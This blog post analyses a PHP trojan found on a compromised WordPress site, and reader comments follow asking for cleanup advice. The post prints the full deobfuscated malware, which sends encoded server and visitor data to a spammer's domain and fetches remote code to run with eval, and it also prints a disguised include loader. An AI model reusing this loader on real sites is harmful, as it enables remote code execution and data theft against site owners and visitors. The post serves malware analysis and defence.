Anatomy of a PHP trojan

A very small sample of how incorrectly configured websites can invite trouble for visitors. I was prompted to write about this after hearing about a hacking incident of another friend’s website. The backend was compromised with no apparent user involvement which means another site on the same server possibly served as the backdoor or perhaps the server admins didn’t set the permissions correctly.

A little while ago, I was hosting a website which had been running an older version of WordPress. The site owners had long since let the installation lapse and, as always, there were vulnerabilities in the uploading privileges which were exploited. Since I had let the owners do whatever they pleased with their space and given them a lot of freedom, I didn’t pay as much attention as I should have. No other site on the server was compromised since they had sandboxed access.

Certain WordPress plugins require an inordinate amount of privileges, which is the one big reason to run a site with the minumum necessary plugins and to always keep them up to date. There is also no reason to keep stale files on the server or allow arbritary writing and uploading privileges when the bare minimum is acceptable.

The following is a file called 189715.php found on the /wp-uploads folder of this website and the same code was found in other areas with different number filenames. This was all jammed into one line, so I’ve expanded it here for clarity. Certain portions have been redacted :

<?php /**/eval(base64_decode('[BASE64 ENCODED STRING]')); ?>

<?
error_reporting(0);
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);
$z="/?" .
	base64_encode($a). "." .
	base64_encode($b) . "." .
	base64_encode($c) . "." .
	base64_encode($d) . "." .
	base64_encode($e) . "." .
	base64_encode($f) . "." .
	base64_encode($g) . "." .
	base64_encode($h) . ".e." .
	base64_encode($i) . "." .
	base64_encode($j);

$f=base64_decode("cGhwc2VhcmNoLmNu");

if (basename($c)==basename($i) && isset($_REQUEST["q"]) &&
	md5($_REQUEST["q"])=="cfe044f810cd8d8e6e5759d4005cf72f")
	$f=$_REQUEST["id"];
if((include(base64_decode("aHR0cDovL2FkczMu").$f.$z)));
else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))
	eval($c);
else{
		$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
		curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
		$o=curl_exec($cu);
		curl_close($cu);
		eval($o);
};
die(); ?>

Variable $z was basically a querystring intended to send all of the relevant server and environment data gathered in the previously defined variables.

String “cGhwc2VhcmNoLmNu” assigned to the $f variable turned out to be “phpsearch.cn”, this particular spammer’s domain. String “aHR0cDovL2FkczMu” turned out to be subdomain “http://ads3.&#8221; meaning this was a domain intended to inject spam and I’m sure the domain itself was expendable. String “aHR0cDovLzcxLg==” was pointing to subdomain “http://71.&#8221; while “aHR0cDovLzcu” was subdomain “http://7.&#8221;.

That include block was meant to try and download another PHP file remotely which it would then try to execute locally with the “eval()” function.

If the remote include failed, it would try curl to get the file and execute the file instead.

The [BASE64 ENCODED STRING] was actually another encoded function :

if(function_exists('ob_start') && !isset($GLOBALS['mfsn'])){
	$GLOBALS['mfsn']='[REDACTED ROOT]/wp-content/upgrade/openid/openid/Auth/OpenID/style.css.php';
	if(file_exists($GLOBALS['mfsn'])){
			include_once($GLOBALS['mfsn']);
			if(function_exists('gml') && function_exists('dgobh'))
			{ob_start('dgobh');}
		}
}

The [REDACTED ROOT] is of course where the WP installation directory on this server and in this case, the compromised plugin was OpenID.

The Auth/OpenID directory was full of junk that was surrepticiously uploaded as well. Also, the content of the style.css.php was another massive block of base64 encoded code (which I was unable to decode) and “mfsn” variable held the location of another file that was meant to be dynamically included at runtime. I was unable to find what the “gml” and “dgobh” functions were, but I can guess that it included everything from more injection code to spam to even drive-by downloads.

After running a scan on this server, this file and those like it turned out to be called the Small-AH trojan.

PHP Trojans would often employ base64 encoding and even splitting up the encoded string into multiple sections before decoding and running eval(). This would make it harder to spot and even harder to figure out what the code does exactly, especially in a big file, with just a cursory glance.

9 thoughts on “Anatomy of a PHP trojan

    • Both WordPress and awful directory permissions.

      First was a MySQL injection which allowed the hacker to create another admin account and insert code into almost every publicly displayed wp file.

      Second was that the permissions to wp-uploads was set incorrectly (because apparently some plugins needed full access). The owners should only have allowed write access to the wp-uploads/uploads and wp-uploads/cache folders. Instead they allowed read, write and execute access to the entire wp-uploads folder to the public so once the plugin folder was compromised and they had admin access, they probably ran some code that allowed the upload of more bad stuff.

      Double failure in security.

  1. I just became webmaster for a website that was running WordPress v2.8. Before starting work on upgrades, I downloaded a copy of the site, zipped it up, and put it on an external hard drive for safe keeping. A week or so later an Avast virus scan found about 40 files in the zip were contaminated with PHP:Small-AH[Trj]. Both Avira and Microsoft Security Essentials (or whatever its called) both do not find any problems with these files.

    Today I updated WordPress on the website, and I have also installed and run a couple of WP virus/malware plugins on the site. No issue is found.

    Of course the site is hosted on Godaddy, and they offer no support in checking things over…so do you have any suggestions to ensure that the site is clean?

    • Really the best way is to make sure your WordPress installation and plugins are up to date. Also make sure your directory permissions are the absolute minimum needed for the site to function correctly.

      In the above case, the webmaster enabled write and execute premissions on folders that didn’t need them at all. Making sure you have the bare minimum of plugins running couldn’t hurt either. I’ve seen many badly written plugins that are a disaster waiting to happen and I, unfortunately, don’t really have experience with anti-virus plugins.

      And keep backups. Lots and lots of backups. Backup your MySQL database at least once a day and your content once a week. This way, if something bad does happen, you won’t lose your data and, worst case scenario, you can put up a “We’re doing maintenance” page while wiping the content and re-uploading and restoring the database. It’s not ideal, but hopefully it will limit the damage.

      Backups like this will also let you run a local AV scan of the data.

      Good call on Avast which is what I use at home and have installed the Endpoint Protection version on our servers at work. If you’re on a dedicated server/VPN with Windows, maybe you can install Avast there as well. My experience with Microsoft Security Essentials has been mixed and Avira hasn’t really worked well for me at very critical times.

  2. Thank-you so much for this. Like Mike above, I found php.Small-AH with an Avast scan of old backup files from a website that I built in 2008-2010. Didn’t have WordPress on my part of the shared hosting server (addr.com), but did use Textpattern. The six files, all [number].php, were in /image subfolders or /file subfolders. Wonder what they were doing? Stealing passwords? Doing drive-bys on visitors? Thanks again for the research you did above. tja

  3. Did you ever heard about the PHP/Small.M trojan? I had to backup a corrupted WP Site and i found lot of it… First times user “Cherry” Framework and that piece of SH*T kicked the whole server…

    If yes – how can we clean this up? Do we need to “rebuild” everything?

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s